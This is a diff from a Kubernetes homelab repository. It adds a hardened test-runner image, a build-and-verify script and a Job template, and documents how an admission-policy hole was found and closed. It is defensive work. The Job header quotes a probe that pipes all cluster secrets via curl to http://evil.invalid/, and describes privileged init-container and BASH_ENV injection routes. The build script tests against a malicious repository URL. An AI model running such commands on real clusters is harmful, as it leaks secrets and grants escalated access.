+    curl -fsSL "https://dl.k8s.io/release/v${KUBECTL_VERSION}/bin/linux/${TARGETARCH}/kubectl.sha256" \
+      -o /tmp/kubectl.sha256; \
+    echo "$(cat /tmp/kubectl.sha256)  /out/kubectl" | sha256sum -c -; \
+    curl -fsSL "https://github.com/kyverno/chainsaw/releases/download/v${CHAINSAW_VERSION}/chainsaw_linux_${TARGETARCH}.tar.gz" \
+      | tar -xz -C /out chainsaw; \
+    chmod 0755 /out/kubectl /out/chainsaw; \
+    /out/kubectl version --client=true --output=yaml >/dev/null; \
+    /out/chainsaw version >/dev/null
+
+# --- runtime -----------------------------------------------------------------
+ARG FEDORA_VERSION=44
+FROM registry.fedoraproject.org/fedora-minimal:${FEDORA_VERSION}
+
+ARG CHAINSAW_VERSION=
+ARG KUBECTL_VERSION=
+ARG FEDORA_VERSION=44
+# Nonroot uid/gid. 65532 is the distroless `nonroot` convention; the value is arbitrary but
+# it MUST be numeric and non-zero — see "THE ADMISSION CONTRACT" above.
+ARG RUNNER_UID=65532
+ARG RUNNER_GID=65532
+
+LABEL org.opencontainers.image.title="conformance-runner" \
+      org.opencontainers.image.description="bash + python3 + chainsaw + kubectl + git for the in-cluster L2/L3 conformance Job (conformance/run.sh)" \
+      org.opencontainers.image.source="https://gitea.home.keithjackson.dev/Home-Network/home-network-k3s-impl" \
+      org.opencontainers.image.documentation="conformance/incluster/README.md" \
+      homelab.keithjackson.dev/requirements="R-TEST-02,R-SEC-02"
+
+# bash: run.sh + every check.sh.  python3: the stdlib report generators.
+# git-core: the init-container clone (git-core, not git — drops the perl/svn tail).
+# coreutils/findutils/grep/sed/gawk: find, sort, base64, xargs, sed -nE, awk in lib/*.sh.
+# tar+gzip: the base64-tar results channel.  diffutils: `diff` in the L1 golden compare.
+# ca-certificates: TLS for the init clone and for kubectl's in-cluster API calls.
+RUN set -eux; \
+    microdnf -y install --setopt=install_weak_deps=0 --nodocs \
+      bash python3 git-core coreutils findutils grep sed gawk tar gzip diffutils \
+      ca-certificates; \
+    microdnf clean all; \
+    rm -rf /var/cache/* /var/log/dnf*
+
+COPY --from=builder /out/kubectl /out/chainsaw /usr/local/bin/
+
+# The init container's ONLY entrypoint. Copied as a file with a fixed path and NO argument
+# surface, because the admission policy pins the main container's `command` but never reads
+# `initContainers` — so an init container with `command: ["/bin/sh","-c"]` and an arbitrary
+# script is currently ADMITTED and runs as the privileged `conformance-runner` SA (reproduced
+# by the policy's author; pass 3, fail 0). A 4th policy rule requiring
+# `command: ["/usr/local/bin/conformance-clone"]` with no `args` is what makes this file
+# REQUIRED rather than merely available; that rule belongs in its own reviewed PR against the
+# boundary, not here. See the script's header for the env-injection half of the same hole.
+#
+# 0755 root:root: the container runs as 65532 and MUST NOT be able to replace the one
+# executable the policy will trust. Ownership is asserted below rather than assumed.
+COPY conformance-clone /usr/local/bin/conformance-clone
+RUN set -eux; \
+    chown root:root /usr/local/bin/conformance-clone; \
+    chmod 0755 /usr/local/bin/conformance-clone; \
+    bash -n /usr/local/bin/conformance-clone; \
+    /usr/local/bin/conformance-clone --anything 2>&1 | grep -q 'takes no arguments'; \
+    test "$(stat -c '%U:%G %a' /usr/local/bin/conformance-clone)" = 'root:root 755'
+
+# The nonroot account is written directly rather than pulling in shadow-utils to run useradd
+# once. HOME is /workspace because at runtime that emptyDir is the only writable path.
+RUN set -eux; \
+    echo "runner:x:${RUNNER_UID}:${RUNNER_GID}:conformance runner:/workspace:/bin/bash" >> /etc/passwd; \
+    echo "runner:x:${RUNNER_GID}:" >> /etc/group; \
+    install -d -m 0775 -o "${RUNNER_UID}" -g "${RUNNER_GID}" /workspace
+
+# SYSTEM-level config, because HOME is an emptyDir that starts empty on every run and the
+# root filesystem is read-only — a runtime `--global` write would fail.
+# safe.directory=*: the init-container clones into the shared emptyDir and the main container
+# then runs `rev-parse` over it; any uid mismatch between the two would otherwise abort with
+# "detected dubious ownership". The repo is fetched fresh per run into an emptyDir, so there
+# is no pre-existing hostile checkout this relaxes a check against.
+RUN set -eux; \
+    printf '%s\n' \
+      '[safe]' \
+      '	directory = *' \
+      '[advice]' \
+      '	detachedHead = false' \
+      > /etc/gitconfig; \
+    chmod 0644 /etc/gitconfig
+
+# Provenance: what is actually in this layer, readable from a running pod.
+RUN set -eux; \
+    { echo "fedora=${FEDORA_VERSION}"; \
+      echo "chainsaw=${CHAINSAW_VERSION}"; \
+      echo "kubectl=${KUBECTL_VERSION}"; \
+      echo "bash=$(bash --version | head -1)"; \
+      echo "python3=$(python3 --version)"; \
+      echo "git=$(git --version)"; \
+      echo "conformance-clone=$(sha256sum /usr/local/bin/conformance-clone | cut -d' ' -f1)"; \
+    } > /etc/conformance-runner-versions; \
+    chmod 0444 /etc/conformance-runner-versions
+
+# Every writable path points into the `workspace` emptyDir — the root filesystem is
+# read-only and the admission policy forbids adding a third volume for scratch.
+ENV HOME=/workspace \
+    XDG_CACHE_HOME=/workspace/.cache \
+    XDG_CONFIG_HOME=/workspace/.config \
+    TMPDIR=/workspace/.tmp \
+    PYTHONDONTWRITEBYTECODE=1 \
+    CONF_ROOT=/workspace/conformance
+
+USER ${RUNNER_UID}:${RUNNER_GID}
+WORKDIR /workspace
+
+# No ENTRYPOINT on purpose. The admission policy pins `command: ["./run.sh"]` with
+# `workingDir: /workspace/conformance`; an ENTRYPOINT here would either be ignored or
+# prepend something the policy cannot see. `bash` is the interactive fallback for a human
+# debugging the image locally.
+CMD ["/bin/bash"]

conformance/incluster/README.md

@@ -25,20 +25,86 @@ credentials — the Job's own scoped ServiceAccount does (R-SEC-02).
   commented with the test/requirement that needs it — only as the matching fault-injection
   test lands. This is a **privileged test identity**: never reused by workloads, its own
   audit item.
-- `chainsaw-job.yaml` — the Job skeleton. Single entrypoint `./run.sh`; CI sets `args` to
-  `--requirements <touched IDs>` (merge gate) or `--layer all --strict-coverage` (phase
-  exit). Image pinned to `versions.env` `CHAINSAW_IMAGE`.
+- `chainsaw-job.yaml` — the **run template** (not reconciled; the trigger renders it per
+  run). Single entrypoint `./run.sh`; a clone init container delivers the suite at the
+  commit under test; artifacts leave over stdout. Its header is the authority on the
+  substitution tokens and the admission constraints it satisfies, and records the
+  `initContainers` hole that was found and closed alongside it — read it before editing
+  either file.
+- `Containerfile` — the **`conformance-runner`** image: `bash` + `python3` + `chainsaw` +
+  `kubectl` + `git`, non-root (numeric uid 65532) and working under a read-only root
+  filesystem. This is what the Job actually needs; the stock chainsaw image carries none of
+  it. Versions are `--build-arg`-injected from `infra/devcontainer/versions.env` — the single
+  source of truth — so the chainsaw/kubectl in the runner are the same pins the toolbox gate
+  uses. Read its header before changing the Job's `args`: `run.sh` runs the selected offline
+  L0/L1 checks for any non-offline-only selection, and those need flux/promtool/kyverno/
+  kustomize, which this image deliberately omits. Use `--layer l2` / `--layer l3`.
+- `conformance-clone` — the init container's **only** entrypoint, baked into the image at
+  `/usr/local/bin/conformance-clone` (0755 **root:root**, so uid 65532 cannot replace it).
+  It is a file in the image rather than an inline script in the Job precisely so admission
+  can pin it: a policy cannot tell the committed script from an attacker's when both are
+  just `args` on `/bin/bash -c`. Clones the impl repo at the commit under test: the SHA must
+  match `^[0-9a-f]{40}$` and `rev-parse HEAD` is **asserted** equal to it afterwards, so an
+  unrendered placeholder is a hard failure rather than a silent run of the branch tip. It
+  takes **no arguments**, and the repository URL and clone target are **compiled in** —
+  `CONFORMANCE_REPO_URL`/`CONFORMANCE_SRC` are hard-failed on a mismatch rather than
+  honoured, because a URL taken from env would let the trigger choose which repository's
+  code runs as `conformance-runner`. This branch's Job depends on that interface:
+  `CONFORMANCE_GIT_SHA`, `GITEA_USERNAME`/`GITEA_TOKEN`, a clone target of `/workspace/src`
+  (hence `workingDir: /workspace/src/conformance`), and `TMPDIR`/`HOME` under `/workspace`.
+  > **The other half landed with this branch.** When `conformance-clone` arrived, the
+  > admission policy pinned the main container's `command` but **never read
+  > `initContainers`** — an init container with `command: ["/bin/sh","-c"]` and an arbitrary
+  > script was ADMITTED and ran as the privileged `conformance-runner` SA, so this file was
+  > merely *available* rather than *required*. The rule that closes it is
+  > `trigger-initcontainers-must-be-the-committed-clone-step`: at most one init container,
+  > digest-pinned to the conformance-runner image, `command` exactly
+  > `/usr/local/bin/conformance-clone`, and **no `args` at all**. `ephemeralContainers` and
+  > `env`/`envFrom` were the same shape of hole and are closed in the same policy.
+- `build-image.sh` — builds the above, **verifies the toolchain by running it** inside the
+  image as uid 65532 with `--read-only`, and prints the digest. It **never pushes**: it
+  prints the exact `podman push --digestfile …` command for the operator instead. See
+  `conformance/versions.env` `CONFORMANCE_RUNNER_IMAGE` for the post-push pin.
+  `--verify-clone` additionally has `conformance-clone` really clone this repo at a real SHA
+  and asserts the checkout matches (opt-in, because it needs the Gitea host reachable — the
+  default verify stays offline so an air-gapped build is fully checked, not half-checked).
 
 ## Flow
-1. CI (Gitea Actions, delivered in T-6.1b) creates a Job from `chainsaw-job.yaml` (via a
-   trigger with narrow rights: create Job + read its logs/status — *not* a broad
-   kubeconfig).
-2. The Job clones/loads the impl repo at the commit under test into `/workspace` and runs
-   `./run.sh` under `conformance-runner`.
-3. `run.sh` runs Chainsaw over the selected tests and writes `report.junit.xml` +
-   `coverage/` to the results volume (`/workspace/conformance/_artifacts`).
-4. CI collects those artifacts (results volume or the terminating log stream, which echoes
-   their paths) and enforces the merge / phase-exit gate on them.
+1. CI (Gitea Actions) renders `chainsaw-job.yaml` — two `@@TOKEN@@` substitutions, the
+   runner image digest and the commit SHA — replaces `args` with the invocation shape, and
+   `create`s the Job under the narrow `conformance-trigger` identity (create/get jobs, get
+   pods + pods/log — *not* a broad kubeconfig, and deliberately **no `pods/exec`**).
+2. Admission (`platform/kyverno/admission/conformance-trigger-job-shape.yaml`, Enforce +
+   fail-closed) admits only the committed shape. That policy, not the RBAC, is the boundary.
+3. The **init container** runs `/usr/local/bin/conformance-clone` with **no args**: it
+   shallow-clones the repo into `/workspace/src`, fetches the commit if the shallow tip does
+   not already contain it, detaches onto it, and **asserts `HEAD` equals the requested SHA** —
+   the suite runs at the commit under test or not at all. The read-only Gitea credential
+   reaches `git` as env vars from `secretKeyRef` (secret `conformance-git-readonly`, keys
+   `username`/`token`), never as a volume: admission allows no volume but `workspace` and
+   `results`.
+4. The runner executes `./run.sh` under `conformance-runner`, writing `report.junit.xml` +
+   `coverage/` to the `results` volume at `/results` (`CONF_ARTIFACTS`).
+5. On exit — green, red or aborted — `run.sh` prints a delimited base64 tar of that tree to
+   stdout, carrying `bytes`, `lines` and `sha256` in **both** the BEGIN and END markers. CI
+   decodes it from `kubectl logs` and must make all five completeness checks listed above
+   `conf_emit_artifacts_tgz()` in `../run.sh`; a partial log then fails collection instead
+   of decoding to plausible garbage.
+
+## Prerequisites before this Job can run at all
+- **Secret `conformance-git-readonly`** in namespace `conformance`, keys `username` and
+  `token`: a **read-only** Gitea token for this repository. Never a write token or a
+  push-capable deploy key. **Does not exist** — operator, out of GitOps (plan §3 item 6).
+- **The `conformance-runner` image** (plan §5 step 1) — built in **PR #18**, which must merge
+  before this template is usable; its digest is what the trigger substitutes. Contract the
+  image MUST meet, because the Job and the admission policy both depend on it:
+  - bash, git, python3, chainsaw and kubectl on `PATH`;
+  - a **uid 65532** non-root user — the Job's `runAsUser`/`fsGroup` pin it, so a different
+    uid in the Containerfile means the Job will not start;
+  - `conformance-clone` installed at **`/usr/local/bin/conformance-clone`**,
+    mode 0755. The policy rule `trigger-initcontainers-must-be-the-committed-clone-step` pins
+    that exact path, so an image without it cannot run the clone step and no other path will
+    be admitted.
 
 ## Phase 0
 No cluster exists, so nothing here is applied yet. These manifests are reconciled by Flux

conformance/incluster/build-image.sh

@@ -0,0 +1,229 @@
+#!/usr/bin/env bash
+###############################################################################
+# conformance/incluster/build-image.sh — build the pinned `conformance-runner`
+# image and print its digest. Closes docs/plans/l2-l3-conformance-ci-wiring.md §3 item 1.
+#
+#   ./build-image.sh                 # build + verify + print the digest and push command
+#   ./build-image.sh --no-verify     # build only (skip the in-image tool proof)
+#   ./build-image.sh --verify-clone  # ALSO really clone this repo with conformance-clone.
+#                                    #   Opt-in because it needs the Gitea host reachable; the
+#                                    #   default verify is offline so an air-gapped build is
+#                                    #   still fully checked rather than half-checked.
+#   ENGINE=docker ./build-image.sh   # build with docker instead of podman
+#
+# THIS SCRIPT NEVER PUSHES. Publishing is an operator action: the registry credential is
+# not an agent's to hold, and the pushed digest is what a fail-closed admission policy
+# then trusts. So this builds locally, proves the toolchain works INSIDE the image as the
+# non-root uid the policy demands, and prints the exact `podman push` line for a human.
+#
+# VERSIONS ARE NOT DEFINED HERE. They are read from infra/devcontainer/versions.env, the
+# single source of truth (CHAINSAW_VERSION, KUBECTL_VERSION, FEDORA_VERSION) — the same
+# pins the toolbox gate runs with. Nothing in this file invents a version.
+#
+# THE DIGEST CAVEAT — read it before pasting a digest into anything.
+# The digest printed here is the LOCAL manifest digest. It is normally identical to the
+# registry digest (podman pushes the manifest it already has rather than recompressing),
+# but that is a property of the push, not a guarantee. So the push command below uses
+# `--digestfile`: the digest the registry actually returns is the authoritative one, and
+# that is the one that goes into conformance/versions.env.
+###############################################################################
+set -euo pipefail
+
+HERE="$(cd "$(dirname "${BASH_SOURCE[0]}")" && pwd)"
+REPO_ROOT="$(cd "${HERE}/../.." && pwd)"
+ENGINE="${ENGINE:-podman}"
+
+VERIFY=1
+VERIFY_CLONE=0
+for arg in "$@"; do
+  case "$arg" in
+    --no-verify) VERIFY=0 ;;
+    --verify-clone) VERIFY_CLONE=1 ;;
+    -h|--help) sed -n '2,/^####/p' "${BASH_SOURCE[0]}" | sed '$d' | sed 's/^# \{0,1\}//'; exit 0 ;;
+    *) echo "unknown argument: $arg" >&2; exit 2 ;;
+  esac
+done
+
+log()  { printf '\n\033[1m==> %s\033[0m\n' "$*"; }
+info() { printf '    %s\n' "$*"; }
+die()  { printf '\033[31mERROR: %s\033[0m\n' "$*" >&2; exit 1; }
+
+command -v "${ENGINE}" >/dev/null 2>&1 || die "'${ENGINE}' not on PATH (set ENGINE=docker to use docker)"
+
+# --- pins: sourced, never invented -------------------------------------------
+TOOLCHAIN_ENV="${REPO_ROOT}/infra/devcontainer/versions.env"
+[ -f "${TOOLCHAIN_ENV}" ] || die "missing ${TOOLCHAIN_ENV} — the pins live there, not here"
+# shellcheck disable=SC1090
+source "${TOOLCHAIN_ENV}"
+: "${CHAINSAW_VERSION:?CHAINSAW_VERSION not set in ${TOOLCHAIN_ENV}}"
+: "${KUBECTL_VERSION:?KUBECTL_VERSION not set in ${TOOLCHAIN_ENV}}"
+: "${FEDORA_VERSION:?FEDORA_VERSION not set in ${TOOLCHAIN_ENV}}"
+
+# --- image name: fixed by the admission policy -------------------------------
+# platform/kyverno/admission/conformance-trigger-job-shape.yaml admits ONLY
+# gitea.home.keithjackson.dev/home-network/conformance-runner@sha256:*. The repository path
+# is therefore not a preference; a different path is a DENIED Job. Do not "improve" it here.
+IMAGE_REPO="gitea.home.keithjackson.dev/home-network/conformance-runner"
+# The tag is build convenience only (a human-readable handle for the push). Admission
+# ignores it: only the digest is ever referenced from a Job.
+IMAGE_TAG="chainsaw${CHAINSAW_VERSION}-kubectl${KUBECTL_VERSION}-fc${FEDORA_VERSION}"
+IMAGE_REF="${IMAGE_REPO}:${IMAGE_TAG}"
+
+log "Building ${IMAGE_REF}"
+info "engine            ${ENGINE} ($(${ENGINE} --version 2>/dev/null | head -1))"
+info "pins from         ${TOOLCHAIN_ENV}"
+info "  CHAINSAW        ${CHAINSAW_VERSION}"
+info "  KUBECTL         ${KUBECTL_VERSION}"
+info "  FEDORA          ${FEDORA_VERSION}"
+
+"${ENGINE}" build \
+  --file "${HERE}/Containerfile" \
+  --tag "${IMAGE_REF}" \
+  --build-arg "CHAINSAW_VERSION=${CHAINSAW_VERSION}" \
+  --build-arg "KUBECTL_VERSION=${KUBECTL_VERSION}" \
+  --build-arg "FEDORA_VERSION=${FEDORA_VERSION}" \
+  "${HERE}"
+
+# --- verify: the point of the whole exercise ---------------------------------
+# The stock chainsaw image "had" chainsaw and still could not run ./run.sh. So prove the
+# tools EXECUTE, and prove they execute as the NON-ROOT uid with a READ-ONLY root
+# filesystem — the shape the admission policy forces. A pass here is the only evidence
+# this image is usable; a build that merely succeeded is not.
+if [ "${VERIFY}" -eq 1 ]; then
+  log "Verifying the toolchain inside the image (non-root, read-only rootfs)"
+  "${ENGINE}" run --rm \
+    --user 65532:65532 \
+    --read-only \
+    --tmpfs /workspace:rw,mode=1777 \
+    --entrypoint "" \
+    "${IMAGE_REF}" \
+    /bin/bash -euo pipefail -c '
+      echo "--- id ---";             id
+      echo "--- HOME ---";           echo "HOME=${HOME}"
+      echo "--- bash ---";           bash --version | head -1
+      echo "--- python3 ---";        python3 --version
+      echo "--- git ---";            git --version
+      echo "--- kubectl ---";        kubectl version --client
+      echo "--- chainsaw ---";       chainsaw version
+      echo "--- baked versions ---"; cat /etc/conformance-runner-versions
+      echo "--- conformance-clone: fixed path, root-owned, NOT writable by the runner ---"
+      stat -c "%n %U:%G %a" /usr/local/bin/conformance-clone
+      if [ -w /usr/local/bin/conformance-clone ]; then
+        echo "UNEXPECTED: uid $(id -u) can write the one executable the policy will trust"; exit 1
+      fi
+      echo "confirmed: not writable by uid $(id -u)"
+      # Each of these MUST fail. Assert the non-zero exit as well as the message: a check
+      # that only greps stderr would pass a build where the guard had stopped rejecting.
+      # (`|| true` inside the capture keeps `set -e`/`pipefail` from aborting on the
+      # expected failure — without it the verify dies at the first negative case.)
+      expect_fail() {
+        local label="$1"; shift
+        local out rc=0
+        out="$(env "$@" 2>&1)" || rc=$?
+        echo "--- ${label} ---"
+        printf "%s\n" "${out}" | head -2
+        if [ "${rc}" -eq 0 ]; then
+          echo "UNEXPECTED: that should have failed, but it exited 0"; exit 1
+        fi
+        echo "(rejected, exit ${rc})"
+      }
+      expect_fail "conformance-clone rejects arguments (that is where an injection would live)" \
+        conformance-clone --layer l2
+      expect_fail "conformance-clone rejects a missing SHA" \
+        conformance-clone
+      expect_fail "conformance-clone rejects a branch name instead of a SHA (no silent run of the tip)" \
+        CONFORMANCE_GIT_SHA=main conformance-clone
+      expect_fail "conformance-clone rejects an UNRENDERED placeholder" \
+        CONFORMANCE_GIT_SHA=@@CONFORMANCE_GIT_SHA@@ conformance-clone
+      expect_fail "conformance-clone rejects a HOME off the workspace volume" \
+        CONFORMANCE_GIT_SHA=0000000000000000000000000000000000000000 \
+        HOME=/etc conformance-clone
+      expect_fail "conformance-clone refuses a REDIRECTED repository URL (the env-injection hole)" \
+        CONFORMANCE_GIT_SHA=0000000000000000000000000000000000000000 \
+        CONFORMANCE_REPO_URL=https://evil.invalid/x.git conformance-clone
+      expect_fail "conformance-clone refuses a clone target off the workspace volume" \
+        CONFORMANCE_GIT_SHA=0000000000000000000000000000000000000000 \
+        CONFORMANCE_SRC=/etc/src conformance-clone
+      echo "--- rootfs is read-only (expected: a failure) ---"
+      if touch /should-fail 2>/dev/null; then echo "UNEXPECTED: rootfs is writable"; exit 1; fi
+      echo "confirmed: / is read-only"
+      echo "--- HOME is writable (the workspace emptyDir) ---"
+      touch "${HOME}/.probe" && echo "confirmed: ${HOME} is writable"
+      echo "--- uid is non-zero ---"
+      [ "$(id -u)" -ne 0 ] && echo "confirmed: running as uid $(id -u), not root"
+    '
+  log "Toolchain verified"
+fi
+
+# --- verify the clone helper against the REAL repository (opt-in: needs network) ----
+# The negative cases above prove conformance-clone refuses bad input. This proves the
+# positive case: it lands the EXACT commit asked for and can prove it did. Without this, the
+# rev-parse assertion is only an unexercised line of shell.
+if [ "${VERIFY_CLONE}" -eq 1 ]; then
+  log "Verifying conformance-clone against the real repository"
+  SHA="$(git -C "${REPO_ROOT}" rev-parse HEAD)"
+  info "requesting commit ${SHA}"
+  "${ENGINE}" run --rm \
+    --user 65532:65532 \
+    --read-only \
+    --tmpfs /workspace:rw,mode=1777 \
+    --network host \
+    --entrypoint "" \
+    -e "CONFORMANCE_GIT_SHA=${SHA}" \
+    "${IMAGE_REF}" \
+    /bin/bash -euo pipefail -c '
+      conformance-clone
+      echo "--- assert rev-parse HEAD == the requested SHA ---"
+      got="$(git -C /workspace/src rev-parse HEAD)"
+      echo "requested: ${CONFORMANCE_GIT_SHA}"
+      echo "HEAD:      ${got}"
+      [ "${got}" = "${CONFORMANCE_GIT_SHA}" ] || { echo "MISMATCH"; exit 1; }
+      echo "confirmed: the working tree is at the requested commit"
+      test -x /workspace/src/conformance/run.sh && echo "confirmed: run.sh present and executable"
+    '
+  log "conformance-clone verified against the real repository"
+fi
+
+# --- digest ------------------------------------------------------------------
+DIGEST="$("${ENGINE}" image inspect --format '{{.Digest}}' "${IMAGE_REF}")"
+IMAGE_ID="$("${ENGINE}" image inspect --format '{{.Id}}' "${IMAGE_REF}")"
+SIZE="$("${ENGINE}" image inspect --format '{{.Size}}' "${IMAGE_REF}")"
+
+log "Built ${IMAGE_REF}"
+info "local manifest digest  ${DIGEST}"
+info "image id               ${IMAGE_ID}"
+info "size                   $(( SIZE / 1024 / 1024 )) MiB"
+
+cat <<EOF
+
+================================================================================
+NOT PUSHED. Publishing is an operator action — this script holds no registry
+credential and will never acquire one.
+
+OPERATOR: run these two commands, then paste the digest from the digestfile into
+conformance/versions.env (CONFORMANCE_RUNNER_IMAGE) via a PR:
+
+    ${ENGINE} login gitea.home.keithjackson.dev
+
+    ${ENGINE} push --digestfile /tmp/conformance-runner.digest \\
+      ${IMAGE_REF}
+
+Then:
+
+    cat /tmp/conformance-runner.digest
+    # -> sha256:....  THIS is the authoritative digest, not the local one above.
+
+    # conformance/versions.env
+    CONFORMANCE_RUNNER_IMAGE="${IMAGE_REPO}@\$(cat /tmp/conformance-runner.digest)"
+
+WHY THE DIGEST AND NOT THE TAG: platform/kyverno/admission/conformance-trigger-job-shape.yaml
+is a fail-closed Enforce policy. It DENIES any conformance-trigger Job whose image is not
+${IMAGE_REPO}@sha256:<digest>. A tag reference is denied,
+and so is any other repository path.
+
+TIGHTEN THE BOUNDARY AFTERWARDS: that policy's header asks for the wildcard
+\`${IMAGE_REPO}@sha256:*\` to be replaced with the
+LITERAL digest once the image exists, closing the "anyone who can push to this path" gap.
+That is a separate, human-reviewed PR against the security boundary.
+================================================================================
+EOF

conformance/incluster/chainsaw-job.yaml

@@ -1,23 +1,175 @@
 # =============================================================================
-# In-cluster Chainsaw conformance Job — SKELETON (ADR-0011; docs/14)
+# In-cluster Chainsaw conformance Job — the RUN TEMPLATE (ADR-0011; docs/14)
+# Serves docs/plans/l2-l3-conformance-ci-wiring.md §3 items 2 and 3.
 #
-# CI (Gitea Actions, T-6.1b) TRIGGERS this Job and waits for it; CI holds NO
-# cluster credentials. The Job runs L1/L2/L3 under the scoped `conformance-runner`
-# ServiceAccount (rbac.yaml), writes JUnit + coverage to a results location that
-# CI collects, and enforces the merge / phase-exit gate on the outcome.
+# NOT RECONCILED BY FLUX. `kustomization.yaml` deliberately omits this file: it is a
+# TEMPLATE the CI trigger renders and submits once per run. Flux reconciling it would
+# create a permanent Job object and fight the trigger for ownership.
 #
-# Two invocation shapes (CI sets args):
-#   * MERGE GATE:  ./run.sh --requirements <touched R-IDs>   (subset)
-#   * PHASE EXIT:  ./run.sh --layer all                      (full suite)
+# CI (Gitea Actions) creates this Job and waits for it. CI holds NO broad kubeconfig —
+# only the narrow `conformance-trigger` identity (create/get jobs, get pods + pods/log).
+# In particular it has NO `pods/exec` and cannot `kubectl cp`, which is why results leave
+# the Job over STDOUT (see "RESULTS TRANSPORT" below) and not over an exec channel.
 #
-# Results artifact mechanism (delegated to WS-TEST by docs/14 open items):
-#   Chosen = a shared results emptyDir + a terminating log stream, with an
-#   OPTIONAL results PVC for durability across CI collection. For Phase 0 there is
-#   no cluster; this manifest is reconciled by Flux from Phase 1+ and exercised
-#   once L2/L3 can run. CI collects `report.junit.xml` + `coverage/` from the
-#   results volume (or scrapes the pod log, which echoes their paths).
+# -----------------------------------------------------------------------------
+# THE ADMISSION BOUNDARY THIS MANIFEST MUST SATISFY
+# -----------------------------------------------------------------------------
+# platform/kyverno/admission/conformance-trigger-job-shape.yaml is Enforce +
+# failurePolicy: Fail, and it governs every Job `conformance-trigger` creates. It admits
+# ONLY: exactly one container on a digest-pinned conformance-runner image,
+# serviceAccountName conformance-runner, command ["./run.sh"], args drawn from
+# --layer/--requirements/--include-scope/--strict-coverage plus plain value tokens, no
+# host namespaces, non-root with privilege escalation off, and — the constraint that
+# shapes everything below — NO VOLUMES BUT `workspace` AND `results`.
 #
-# NOT applied in Phase 0 (no cluster). Image tag pinned to versions.env CHAINSAW_IMAGE.
+# So the git credential CANNOT be a projected/secret volume, and the init container
+# cannot have a scratch volume of its own. Both are solved inside the two allowed names:
+#   * the credential arrives as env vars via secretKeyRef (an env var is not a volume),
+#     BY SECRET NAME ONLY — no token literal ever appears in this file;
+#   * `$TMPDIR` and `$HOME` are pointed at directories on the `workspace` emptyDir, so
+#     readOnlyRootFilesystem stays true without a third volume and without subPath
+#     mounts (a kubelet-created subPath dir is root-owned 0755 and would not be writable
+#     by the non-root runner).
+#
+# Verify before changing anything here:
+#   kyverno apply platform/kyverno/admission/conformance-trigger-job-shape.yaml \
+#     --resource <rendered job> \
+#     --userinfo platform/kyverno/tests/conformance-trigger/user-info.yaml
+# and see platform/kyverno/tests/conformance-trigger/ — the `real-template` case in
+# resources.yaml is this shape, so `make -C ci l0` fails if it drifts out of admission.
+#
+# -----------------------------------------------------------------------------
+# THE initContainers HOLE — FOUND AND CLOSED IN THE SAME PR (2026-09-29)
+# -----------------------------------------------------------------------------
+# As originally written, the policy read only `spec.template.spec.containers` (rule 1's
+# pattern, rule 3's `containers[0].args`) and `volumes` (rule 2). `initContainers` was
+# never examined, so the exact escalation the policy exists to stop was reachable one
+# field over. MEASURED with the pinned CLI (kyverno v1.19.0), `containers[0]` left fully
+# compliant:
+#
+#   * this template with ONLY the init container's args replaced by
+#     `kubectl get secrets -A -o yaml | curl -X POST --data-binary @- http://evil.invalid/`
+#   * and (the coordinator's independent reproduction) a `privileged: true`
+#     `docker.io/library/alpine:latest` init container running `kubectl get secrets -A`
+#
+#   ->  pass: 3, fail: 0, warn: 0, error: 0, skip: 0        # BOTH ADMITTED
+#
+# `=(privileged): "false"` in rule 1 only ever applied to `containers[0]`.
+#
+# Closed by new rules in that policy, authorised by the coordinator in this PR
+# (the original brief forbade policy edits; that was to stop the boundary being BENT to
+# fit a Job, not to stop a hole being closed):
+#   * `trigger-initcontainers-must-be-the-committed-clone-step` — at most one init
+#     container, on the digest-pinned runner image, `command:
+#     ["/usr/local/bin/conformance-clone"]`, NO args, non-root, no privilege escalation,
+#     not privileged. The clone logic moved OUT of this manifest and into the image for
+#     exactly this reason: a policy cannot vet a shell script passed as `args`, so the
+#     script had to stop being caller-supplied data. It stays reviewable as
+#     conformance/incluster/conformance-clone.
+#   * `trigger-may-not-declare-ephemeral-containers` — `ephemeralContainers` was the same
+#     unread field. Upstream k8s is BELIEVED to reject it in a pod template; that was not
+#     verified here, and the rule costs nothing if it is true.
+#   * `trigger-env-names-must-be-the-committed-set` and `trigger-may-not-use-envfrom` — `env`
+#     was the same mistake a THIRD time. `command` is pinned, so injection moves to a variable
+#     the pinned command honours, and `BASH_ENV` alone is arbitrary code execution: bash
+#     sources it before running a non-interactive script. Names are allowlisted per container;
+#     VALUES and the `valueFrom` source Secret deliberately are not (values are legitimately
+#     environment-specific, and conformance-runner can already read this namespace's Secrets
+#     through its own RBAC, so pinning the source would buy nothing).
+#
+# Every probe is now a negative fixture in platform/kyverno/tests/conformance-trigger/ —
+# `evil-initcontainer`, `initcontainer-with-args`, `second-initcontainer`,
+# `evil-ephemeral-container`, `injected-env`, `injected-initcontainer-env`,
+# `envfrom-whole-secret` — so they stay failing.
+#
+# THE GENERALISABLE LESSON, since this was the same bug three times: an "admit only the
+# committed shape" policy is only as good as its enumeration of every field that can carry
+# executable intent. `containers` was enumerated; `initContainers`, `ephemeralContainers` and
+# `env` were not. Before adding a field to this Job, ask which rule reads it — and if none
+# does, that is the finding, not an oversight to work around.
+#
+# The clone URL is hardcoded in the image entrypoint (and `CONFORMANCE_REPO_URL` is hard-failed
+# on a mismatch rather than honoured) for exactly this reason. Do not move it into env.
+#
+# Note also that `kyverno apply` evaluates these rules whether or not `--userinfo` is
+# supplied, so a CLI pass is evidence about the PATTERNS, not about the subjects filter.
+#
+# -----------------------------------------------------------------------------
+# WHAT THE TRIGGER SUBSTITUTES — `@@NAME@@` tokens, NOT `${NAME}`
+# -----------------------------------------------------------------------------
+# The placeholder syntax is deliberately NOT shell syntax. `${NAME}` would be substituted by
+# `envsubst`, which has no way to tell a token meant for rendering from a shell reference
+# that belongs to a script — a trap this file walked into while the clone logic was still an
+# inline bash script here. `@@NAME@@` cannot collide with anything, and a surviving `@@` in a
+# rendered manifest is trivially greppable as "the trigger forgot to render this". Render
+# with a two-token sed, nothing cleverer:
+#
+#   sed -e "s|@@CONFORMANCE_RUNNER_IMAGE_DIGEST@@|${digest}|" \
+#       -e "s|@@CONFORMANCE_GIT_SHA@@|${sha}|" conformance/incluster/chainsaw-job.yaml
+#
+#   @@CONFORMANCE_RUNNER_IMAGE_DIGEST@@  the 64-hex digest of the pinned runner image.
+#         Only the DIGEST is substituted — the registry path and the `@sha256:` pinning
+#         are committed literals, so the substitution cannot repoint the image at another
+#         repository, and the template still satisfies the policy's image pattern before
+#         rendering. An unsubstituted digest fails as ImagePullBackOff, loudly.
+#   @@CONFORMANCE_GIT_SHA@@             the 40-hex commit under test. The init container
+#         REFUSES to run unless it matches ^[0-9a-f]{40}$, so an unsubstituted placeholder
